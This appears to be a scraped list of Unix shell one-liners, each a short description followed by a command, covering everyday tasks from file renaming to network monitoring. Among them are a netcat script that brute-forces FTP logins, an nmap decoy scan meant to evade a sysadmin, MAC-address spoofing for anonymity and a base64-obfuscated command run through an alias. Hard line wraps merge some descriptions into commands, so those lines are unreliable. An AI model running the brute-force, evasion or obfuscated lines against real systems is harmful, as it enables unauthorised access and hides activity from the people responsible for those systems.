f a regular expression.command | sed -n '1,/regex/p'
# Update twitter via curl
curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
# Mute xterm
xset b off
# Add a shadow to picture
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage  {$file_out}
# Retrieve a random command from the commandlinefu.com API
wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d; /./p'
# Quickly create simple text file from command line w/o using vi/emacs
cat > <file_name> << "EOF"
# Synthesize text as speech
echo "hello world"  | festival --tts
# Salvage a borked terminal
echo <ctrl-v><esc>c<enter>
# stop man  page content from disappearing on exit
echo "export LESS='FiX'" >> ~/.bashrc
# Redirect a filehandle from a currently running process.
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
# show dd progress
killall -USR1 dd
# pretend to be busy in office to enjoy a cup of coffee
for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
# Use colordiff in side-by-side mode, and with automatic column widths.
colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
# Random unsigned integer
echo $RANDOM
# Display which user run process from given port name
fuser -nu tcp 3691
# sed : using colons as separators instead of forward slashes
sed "s:/old/direcory/:/new/directory/:" <file>
# randomize hostname and mac address, force dhcp renew. (for anonymous networkin
g)dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum  | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
# Execute multiple commands from history
!219 ; !229 ; !221
# Exclude svn directories with grep
grep -r --exclude-dir=.svn PATTERN PATH
# Rapidly invoke an editor to write a long, complex, or tricky command
<ESC> v
# Print text string vertically, one character per line.
echo Print text vertically|sed 's/\(.\)/\1\n/g'
# Execute a command on logout
trap cmd 0
# Lets Tux say the random fact. [add it to .bashrc to see it in new terminal win
dow]wget randomfunfacts.com -O - 2>/dev/null|grep \<strong\>|sed "s;^.*<i>\(.*\)</i>.*$;\1;"|cowsay -f tux
# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
# Simple addicting bash game.
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
# know the current running shell (the true)
echo $0
# gzip compression with progress bar and remaining time displayed
pv file | gzip > file.gz
# which process has a port open
lsof -i :80
# quick input
alt + .
# Quickly analyze apache logs for top 25 most common IP addresses.
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n  | tail -25
# recursively change file name from uppercase to lowercase (or viceversa)
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
# Validate and pretty-print JSON expressions.
echo '{"json":"obj"}' | python -m simplejson.tool
# A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!
# Recompress all .gz files in current directory using bzip2 running 1 job per CP
U core in parallelparallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz
# command to change the exif date time of a image
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
# Show IP Address in prompt --> PS1 var
export PS1="[\u@`hostname -I` \W]$ "
# Removes file with a dash in the beginning of the name
rm -- --myfile
# Increase mplayer maximum volume
mplayer dvd:// -softvol -softvol-max 500
# create shortcut keys in bash
bind -x '"\C-p"':pwd
# log your PC's motherboard and CPU temperature along with the current date
echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
# On screen display of a command.
date|osd_cat
# convert unixtime to human-readable with awk
echo 1234567890 | awk '{ print strftime("%c", $0); }'
# Create an SSH tunnel for accessing your remote MySQL database with a local por
tssh -CNL 3306:localhost:3306 [email protected]
# Copy history from one terminal to another
history -w <switch to another terminal> history -r
# Submit data to a HTML form with POST method and save the response
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
# vmstat/iostat with timestamp
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
# Replace spaces in filenames with underscores
rename 's/ /_/g' *
# Copy without overwriting
cp -n <src> <dst>
# Merges given files line by line
paste -d ',:' file1 file2 file3
# Download free e-books
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL
# Show the UUID of a filesystem or partition
blkid /dev/sda7
# split a string (2)
read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
# Create QR codes from a URL.
qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o qr.$(date +%Y%m%d%H%M%S).png; }
# Bash prompt with user name, host, history number, current dir and just a touch
 of colorexport PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
# Print just line 4 from a textfile
awk 'NR==4'
# see who's using DOM storage a/k/a Web Storage, super cookies
strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev
# Display connections histogram
netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort | uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'\''
# Exclude grep from your grepped output of ps (alias included in description)
ps aux | grep [h]ttpd
# Timer with sound alarm
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ;  }; sleep 3s && say "wake up, you bastard"
# Sum columns from CSV column $COL
awk -F ',' '{ x = x + $4 } END { print x }' test.csv
# Google text-to-speech in mp3 format
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ;  }
# Merge PDFs into single file
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ...
# Pretty man pages under X
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
# Compare directories via diff
diff -rq dirA dirB
# Calculate N!
seq -s* 10 |bc
# Create a QR code image in MECARD format
qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:[email protected];;'
# Press Any Key to Continue
read -sn 1 -p 'Press any key to continue...';echo
# Compress a series of png pictures to an avi movie.
mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
# find .txt files inside a directory and replace every occurrance of a word insi
de them via sedfind . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
# Get all files of particular type (say, PDF) listed on some wegpage (say, examp
le.com)wget -r -A .pdf -l 5 -nH --no-parent http://example.com
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
# ROT13 whole file in vim.
ggg?G
# List your sudo rights
sudo -l
# Killing processes with your mouse in an infinite loop
while true; do xkill -button any; done
# Generate a graph of package dependencies
apt-cache dotty apache2 | dot -T png | display
# List all authors of a particular git project
git log --format='%aN' | sort -u
# check open ports (both ipv4 and ipv6)
netstat -plnt
# check the status of 'dd' in progress
watch -n 10 killall -USR1 dd
# Instantly load bash history of one shell into another running shell
$ history -a #in one shell , and $ history -r #in another running shell
# One liner to kill a process when knowing only the port where the process is ru
nningfuser -k <port>
# dd with progress bar
dd if=/dev/nst0 |pv|dd of=restored_file.tar
# get bofh excuse from a trusted source :-)
telnet bofh.jeffballard.us 666
# Apply permissions only to files
chmod 644 $(find . -type f)
# Convert a string to "Title Case"
echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g'
# Robust expansion (i.e. crash) of bash variables with a typo
set -eu
# autossh + ssh + screen = super rad perma-sessions
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
# List just the executable files (or directories) in current directory
ls *(.x)
# grep certain file types recursively
grep -r --include="*.[ch]" pattern .
# ROT13 using the tr command
alias rot13="tr a-zA-Z n-za-mN-ZA-M"
# Remount a usb disk in Gnome without physically removing and reinserting
eject /dev/sdb; sleep 1; eject -t /dev/sdb
# Advanced LS Output using Find for Formatted/Sortable File Stat info
find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G  [%AD | %TD | %CD]  [%Y] %p\n'
# skip broken piece of a loop but not exit the loop entirely
ctrl + \
# Merge Two or More PDFs into a New Document
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
# search ubuntu packages to find which package contains the executable program p
rogramnameapt-file find bin/programname
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -delete
# Find the dates your debian/ubuntu packages were installed.
ls /var/lib/dpkg/info/*.list -lht |less
# Scan Network for Rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
# Create a file of a given size in linux
truncate -s 1M file
# Parallel file downloading with wget
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
# ubuntu easter eggs
apt-get moo
# Copy specific files to another machine, keeping the file hierarchy
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
# Copy an element from the previous command
!:n
# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
# recursive reset file/dir perms
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
# Copy something to multiple SSH hosts with a Bash loop
for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; }
# merge vob files to mpg
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
# Extract dd-image from VirtualBox VDI container and mount it
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
# Play 89.3 @TheCurrent and get system notifications on song changes.
mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /dev/null | grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*'" -o > mus & tail -n0 -f mus | while read line; do notify-send "Music Change" "$line";done
# Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
# Selecting a random file/folder of a folder
shuf -n1 -e *
# Find all symlinks that link to directories
find -type l -xtype d
# find all active IP addresses in a network
nmap -sP 192.168.1.0/24; arp -n  | grep "192.168.1.[0-9]* *ether"
# sends your internal IP by email
ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" [email protected]
# rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
# Sets shell timeout
export TMOUT=10
# direct a single stream of input (ls) to multiple readers (grep & wc) without u
sing temporary filesls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count
# VIM version 7: edit in tabs
vim -p file1 file2 ...
# Find the cover image for an album
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
# Execute text from the OS X clipboard.
`pbpaste` | pbcopy
# Matrix Style
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
# Show when filesystem was created
dumpe2fs -h /dev/DEVICE | grep 'created'
# Open files in a split windowed Vim
vim -o file1 file2...
# Click on a GUI window and show its process ID and command used to run the proc
essxprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
# create iso image from a directory
mkisofs -o XYZ.iso XYZ/
# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;
# Print a list of installed Perl modules
perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst->modules(); print join("\n", @modules);'
# Watch Aljazeera live
rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y "aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer -
# Interactively build regular expressions
txt2regex
# Find the 20 biggest directories on the current filesystem
du -xk | sort -n | tail -20
# Decreasing the cdrom device speed
eject -x 4
# Find brute force attempts on SSHd
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
# Perl One Liner to Generate a Random IP Address
echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))
# List the largest directories & subdirectoties in the current directory sorted 
from largest to smallest.du -k | sort -r -n | more
# show ls colors with demo
echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
# Another Matrix Style Implementation
COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
# analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i -
# View files opened by a program on startup and shutdown
sudo lsof -rc command >> /tmp/command.txt
# Enter parameter if empty (script becomes interactive when parameters are missi
ng)param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")}
# Copy all documents PDF in disk for your home directory
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
# shell function to make gnu info act like man.
myinfo() { info --subnodes -o - $1 | less; }
# rsync with progress bar.
rsync -av --progress ./file.txt user@host:/path/to/dir
# Silently Execute a Shell Script that runs in the background and won't die on H
UP/logoutnohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
# Update twitter from command line without reveal your password
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
# Sync MySQL Servers via secure SSH-tunnel
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
# Outputs a sorted list of disk usage to a text file
du | sort -gr > file_sizes
# Visualizing system performance data
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png
# ARP Scan
sudo arp-scan -l
# Skip over .svn directories when using the
find . -name .svn -prune -o -print
# List all available commands (bash, ksh93)
printf "%s\n" ${PATH//:/\/* }
# backup and synchronize entire remote folder locally (curlftpfs and rsync over 
FTP using FUSE FS)curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
# Upgrade all perl modules via CPAN
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
# Get your external IP address without curl
wget -qO- icanhazip.com
# Protect directory from an overzealous rm -rf *
sudo chattr -R +i dirname
# Backup sda5 partition to ftp ( using pipes and gziped backup )
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
# Get a brief overview of how many files and directories are installed
locate -S
# Install a local RPM package from your desktop, then use the YUM repository to 
resolve its dependencies.yum localinstall /path/to/package.rpm
# Edit the last or previous command line in an editor then execute
fc [history-number]
# lotto generator
shuf -i 1-49 | head -n6 | sort -n| xargs
# nmap IP block and autogenerate comprehensive Nagios service checks
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
# Show top committers for SVN repositority for today
svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
# Get pages number of the pdf file
pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
# ssh and attach to a screen in one line.
ssh -t user@host screen -x <screen name>
# Get the total length of all video / audio in the current dir (and below) in H:
m:sfind -type f -name "*.avi" -print0 | xargs -0  mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
# Turn On/Off Keyboard LEDs via commandline
xset led 3
# Show 'Hardware path'-style tree of all devices in Linux
lshw -short
# Remove trailing space in vi
:%s/\s\+$//
# Real full backup copy of /etc folder
rsync -a /etc /destination
# Alert on Mac when server is up
ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'
# show lines that appear in both file1 and file2
comm -1 -2 <(sort file1) <(sort file2)
# Grep syslog today last hour
grep -i "$(date +%b\ %d\ %H)" syslog
# Comment current line
<ESC> #
# Port scan a range of hosts with Netcat.
for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
# Extract tarball from internet without local saving
curl http://example.com/a.gz | tar xz
# See why a program can't seem to access a file
strace php tias.php -e open,access 2>&1 | grep foo.txt
# Kill any process with one command using program name
killall <name>
# Launch a VirtualBox virtual machine
VBoxManage startvm "name"
# deaggregate ip ranges
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done  | grep -v deag
# Check reverse DNS
dig +short -x {ip}
# create an incremental backup of a directory using hard links
rsync -a --delete --link-dest=../lastbackup $folder $dname/
# Check for login failures and summarize
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
# background a wget download
wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz
# Show all programs on UDP and TCP ports with timer information
netstat -putona
# Print trending topics on Twitter
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
# Remux an avi video if it won't play easily on your media device
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
# Detect if we are running on a VMware virtual machine
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
# C one-liners
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)
# Download all Phrack .tar.gzs
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
# Using mplayer to play the audio only but suppress the video
mplayer -vo null something.mpg
# Use Linux coding style in C program
indent -linux helloworld.c
# Search previous commands from your .bash_history
ctrl + r
# save  date and time for each command in history
export HISTTIMEFORMAT='%F %T '
# Recursively grep thorugh directory for string in file.
grep -r -i "phrase" directory/
# Create a zip file ignoring .svn files
zip -r foo.zip DIR -x "*/.svn/*"
# Script executes itself on another host with one ssh command
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
# cd to (or operate on) a file across parallel directories
cd ${PWD/a/b}
# create pdf files from text files or stdout.
enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf  (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)
# change exif data in all jpeg's
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }
# Give to anyone a command to immediatly find a particular part of a man.
man <COMMAND> | less +'/pattern'
# ASCII webcam live stream video using mplayer
mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:outfmt=rgb16 -vo aa tv://
# Check if your webserver supports gzip compression with curl
curl -I -H "Accept-Encoding: gzip,deflate" http://example.org
# Remove invalid host keys from ~/.ssh/known_hosts
ssh-keygen -R \[localhost\]:8022
# Huh? Where did all my precious space go ?
ls -la | sort -k 5bn
# Parse a quoted .csv file
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
# run command on a group of nodes
mussh -h host1 host2 host3 -c uptime
# reset hosed terminal
c() printf "\033c" #usage: c
# print multiplication formulas
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}'
# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!
# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
# Limit bandwidth usage by any program
trickle -d 60 wget http://very.big/file
# see the TIME_WAIT and ESTABLISHED nums of the network
netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'
# lines in file2 that are not in file1
grep -Fxv -f file1 file2
# Indent a one-liner.
type <function name>
# Print a cron formatted time for 2 minutes in the future (for crontab testing)
crontest () { date '-d +2 minutes' +'%M %k %d %m *'; }
# delete a particular line by line number in file
sed -i 3d ~/.ssh/known_hosts
# Get information about a video file
mplayer -vo dummy -ao dummy -identify your_video.avi
# Conficker Detection with NMAP
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
# Redefine the cd command's behavior
cd() { builtin cd "${@:-$HOME}" && ls; }
# Matrix Style
check the sample output below, the command was too long :(
# capture mysql queries sent to server
tshark -i any -T fields -R mysql.query -e mysql.query
# Consolle based network interface monitor
ethstatus -i eth0
# Changing the terminal title to the last shell command
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
# Configure second monitor to sit to the right of laptop
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
# Use a decoy while scanning ports to avoid getting caught by the sys admin :9
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
# a function to create a box of '=' characters around a given string.
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
# Count the number of queries to a MySQL server
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
# Display IPs accessing your Apache webserver.
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
# find the difference between two nodes
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
# vi keybindings with info
info --vi-keys
# run php code inline from the command line
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
# Change newline to space in a file just using echo
echo $(</tmp/foo)
# climagic's New Year's Countdown clock
while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|awk '/^ii  linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
# Move all files in subdirectories to current dir
find ./ -type f -exec mv {} . \;
# benchmark web server with apache benchmarking tool
ab -n 9000 -c 900 localhost:8080/index.php
# do something else while waiting for an event, such as reboot
until (ssh [email protected] 2> /dev/null); do date; sleep 15; done
# sort lines by length
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
# Quick and dirty convert to flash
ffmpeg -i inputfile.mp4 outputfile.flv
# Verify MD5SUMS but only print failures
md5sum --check MD5SUMS | grep -v ": OK"
# connects to a serial console
screen /dev/ttyS0 9600
# List open IPv4 connections
lsof -Pnl +M -i4
# Show some trivia related to the current date
calendar
# ssh -A user@somehost
ssh -A user@somehost
# See the 10 programs the most used
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
# Twit Amarok "now playing" song
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
# Resets your MAC to a random MAC address to make you harder to find.
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
# Replace space in filename
rename "s/ *//g" *.jpg
# va - alias for editing aliases
alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"'
# Search Google from the command line
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
# Get the size of all the directories in current directory
du --max-depth=1
# recurisvely md5 all files in a tree
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
# Print a row of characters across the terminal
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
# Make any command read line enabled (on *nix)
rlwrap sqlite3 database.db
# Quickly get summary of sizes for files and folders
du -sh *
# this toggles mute on the Master channel of an alsa soundcard
amixer sset Master toggle
# Remove newlines from output
grep . filename
# Find 'foo' string inside files
find . -type f -print | xargs grep foo
# Paste the contents of OS X clipboard into a new text file
pbpaste > newfile.txt
# Convert unix timestamp to date
date -ud "1970-01-01 + 1234567890 seconds"
# Netcat ftp brute force
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done
# Start an X app remotely
ssh -f [email protected] DISPLAY=:0.0 smplayer movie.avi
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}
# Get all possible problems from any log files
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
# Unencrypted voicechat
On PC1:  nc -l -p 6666 > /dev/dsp   On PC2:  cat /dev/dsp | nc <PC1's IP> 6666
# List files opened by a PID
lsof -p 15857
# Download an entire ftp directory using wget
wget -r ftp://user:[email protected]
# Unlock your KDE4.3 session remotely
qdbus org.kde.screenlocker /MainApplication quit
# prevents replace an existing file by mistake
set -o noclobber
# How to secure delete a file
shred -u -z -n 17 rubricasegreta.txt
# Transforms a file to all uppercase.
tr '[:lower:]' '[:upper:]' <"$1"
# Replace multiple file extensions with a single extension
for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done
# Hostname tab-completion for ssh
function autoCompleteHostname() {   local hosts;   local cur;   hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1));   cur=${COMP_WORDS[COMP_CWORD]};   COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
# random xkcd comic
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
# Shows what processes need to be restarted after system upgrade
deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }
# Find all directories on filesystem containing more than 99MB
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
# Go to the previous sibling directory in alphabetical order
cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
# Serve current directory tree at http://$HOSTNAME:8080/
twistd -n web --path .
# Check if a domain is available and get the answer in just one line
whois domainnametocheck.com | grep match
# copy file to clipboard
xclip file.txt
# Extract a remote tarball in the current directory without having to save it lo
callycurl http://example.com/foo.tar.gz | tar zxvf -
# Google text-to-speech in local language or language of choice
say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#$1}"; else local lang=${LANG%_*}; local text="$*";fi; mplayer "http://translate.google.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; }
# Fast command-line directory browsing
function cdls { cd $1; ls; }
# make image semi-transparent
convert input.png -alpha set -channel A -fx 0.5 output.png
# Recording the desktop and an application audio source for webcast
ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv
# Display any tcp connections to apache
for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;
# Octal ls
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'
# determine if tcp port is open
nc -zw2 www.example.com 80 && echo open
# Watch for when your web server returns
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
# Signals list by NUMBER and NAME
kill -l
# Upload images to omploader.org from the command line.
ompload() { curl -# -F file1=@"$1" http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
# Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a fold
